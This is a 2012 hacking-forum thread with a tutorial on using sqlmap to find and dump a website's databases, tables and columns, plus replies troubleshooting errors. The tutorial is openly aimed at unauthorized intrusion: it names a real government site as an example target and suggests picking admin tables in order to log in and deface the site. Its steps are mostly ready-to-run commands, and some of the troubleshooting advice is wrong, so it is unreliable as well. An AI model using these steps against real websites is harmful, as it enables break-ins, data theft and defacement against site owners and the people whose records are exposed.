Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT] Use SQLMap to Gain Access to a Vulnerable Database and Hack a Website[TUT]

Use SQLMap to Gain Access to a Vulnerable Database

-Agent Anon

Please Note: You need python installed for this to work. You can get it from: http://www.python.org/download/


The first thing you need to do is download sqlmap. It comes with backtrack, but if you need to download it, get it from here: http://sqlmap.sourceforge.net/

1) Download the .zip and extract it to your desktop or something. Open up terminal or cmd and cd to where sqlmap is. The exact command will vary from platform to platform, leave a reply with specific questions and I'll see if I can answer them

2) Once you're in the same directory, you'll be able to use it! First, lets find the databases that our target has. Use this:

Code
./sqlmap.py -u [TARGET] --dbs

Example: [TARGET] = http://www.fbi.gov/staff.php?id=15


3) A list appears with all of the databases. Choose the database. If you want to end up hacking this site, you should choose a database that sounds like it may contain admin info. If you're just exploring their database, select what sounds the most interesting. Now that we have a database picked out, lets find all the tables in it. Use this:

Code
./sqlmap.py -u [TARGET] -D [THE DATABASE YOURE EXPLORING] --tables

4) A list of tables appears, like before, if you want to put up a deface page and log in as the admin, look for something that might contain admin info, such as users, user, admin, ect. If you're just looking around 🤫, select the table that looks the most fun. Use this:

Quote:./sqlmap.py -u [TARGET] -T [THE TABLE YOURE EXPLORING] --columns


5) Now, you have a list of the collumns, I bet you're excited now! Lets extract the data from the tables. Use this:

Code
./sqlmap.py -u [TARGET] -T [THE TABLE YOU'RE EXPLORING] -U test --dump

6) You're done! Enjoy the big dump of data you have! 🤝


I hope I've produced another HQ tutorial for you, and happy hacking. 🤝
-Agent Anon
Great tyt ukk guve ut a try when i have some time
Team INTRA
I'm getting this when I try it:

Code
C:\Documents and Settings\Owner\Desktop\sqlmap>sqlmap.py -u "I blocked the website url ;)" --dbs
  File "C:\Documents and Settings\Owner\Desktop\sqlmap\sqlmap.py", line 92
    except exceptionsTuple, e:
    ^
SyntaxError: invalid syntax

I'm running on windows xp
(Jan 2, 2012 08:15 AM)IceBeat Wrote:  I'm getting this when I try it:

Code
C:\Documents and Settings\Owner\Desktop\sqlmap>sqlmap.py -u "I blocked the website url ;)" --dbs
  File "C:\Documents and Settings\Owner\Desktop\sqlmap\sqlmap.py", line 92
    except exceptionsTuple, e:
    ^
SyntaxError: invalid syntax

I'm running on windows xp

See if this helps:

Use

Code
./sqlmap.py -u [TARGET] --dbs

Very good tutorial. Maybe you could do a second one that uses google dorks to find vulnerable pages? Its very simple and mostly automated.
(Jan 2, 2012 10:59 AM)Coldfoot Wrote:  Very good tutorial. Maybe you could do a second one that uses google dorks to find vulnerable pages? Its very simple and mostly automated.

OK, I'll do that at some point. Next I'm going to make a video tutorial showing mac users how to boot linux off of a live CD. There seems to be a lot of interest in it and knowing how to use a live CD is a crucial skill.
(Jan 2, 2012 11:04 AM)agentannon Wrote:  OK, I'll do that at some point. Next I'm going to make a video tutorial showing mac users how to boot linux off of a live CD. There seems to be a lot of interest in it and knowing how to use a live CD is a crucial skill.

Very nice. Maybe you could make a video tutorial of making a bootable usb flash drive? I have been trying for ages but nothing seems to work... I'm on a mac.
(Jan 2, 2012 11:10 AM)Coldfoot Wrote:  Very nice. Maybe you could make a video tutorial of making a bootable usb flash drive? I have been trying for ages but nothing seems to work... I'm on a mac.

Oh, yea, that's harder because I don't think there is any software for mac that makes a USB booter. (not counting unetbootin because it doesn't seem to work). I have ubuntu on a usb drive, I have backtrack on a live cd and used unetbootin on it to make the usb. It's really redundant to make the live cd just so you can make a usb, but it's the best I can think of. I'll PM you if I end up doing a USB boot tut.
Ok, thank you. Right now i have a live DVD of backtrack 5 r1, a live cd of ubuntu (latest), and I also run bt 5 r1 in vmware player. I decided to use vmware because i got tired of waiting hour to make the usb bootable, only to have it fail.
Hmmm. I might just do a tutorial, thanks for letting me know!
definitely gonna try it out :)

shortforshortening
C:\Users\****>C:\Users\\Desktop\sqlmap\sqlmap.py -u []

sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net

[*] starting at: 20:00:38

[20:00:39] [CRITICAL] unhandled exception in sqlmap/0.9, retry your run with the
latest development version from the Subversion repository. If the exception per
sists, please send by e-mail to [email protected] the following
text and any information required to reproduce the bug. The developers will try
to reproduce the bug, fix it accordingly and get back to you.
sqlmap version: 0.9 (r3630)
Python version: 2.7.2
Operating system: nt
Command line: C:\Users\****\Desktop\sqlmap\sqlmap.py -u []
Technique: None
Back-end DBMS: None (identified)
Traceback (most recent call last):
File "C:\Users\**
\Desktop\sqlmap\sqlmap.py", line 74, in main
init(cmdLineOptions)
File "C:\Users\***\Desktop\sqlmap\lib\core\option.py", line 1563, in init
parseTargetUrl()
File "C:\Users\**\Desktop\sqlmap\lib\core\common.py", line 990, in parseTa
rgetUrl
__urlSplit = urlparse.urlsplit(conf.url)
File "C:\Python27\lib\urlparse.py", line 182, in urlsplit
raise ValueError("Invalid IPv6 URL")
ValueError: Invalid IPv6 URL

[*] shutting down at: 20:00:39

Do ./sqlmap.py instead of sqlmap.py
Thanks mate :D /n
I hope you will write some more /n
See you in the wild ^^
(Jan 3, 2012 10:25 AM)lionkidd Wrote:  Thanks mate :D /n
I hope you will write some more /n
See you in the wild ^^

I plan on writing many more tutorials! Thanks for the reply! I hope to also see you, "in the wild"!


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Elite_xApr 13, 2025 04:44 PM 4 571 Apr 13, 2025 04:44 PM
Last Post: SS2580G
by vegheadOct 23, 2024 07:49 PM 11 4,539 Oct 23, 2024 07:49 PM
Last Post: 03jk
by Cyber ConnectionJun 7, 2023 09:29 AM 5 569 Jun 7, 2023 09:29 AM
Last Post: borealfoil409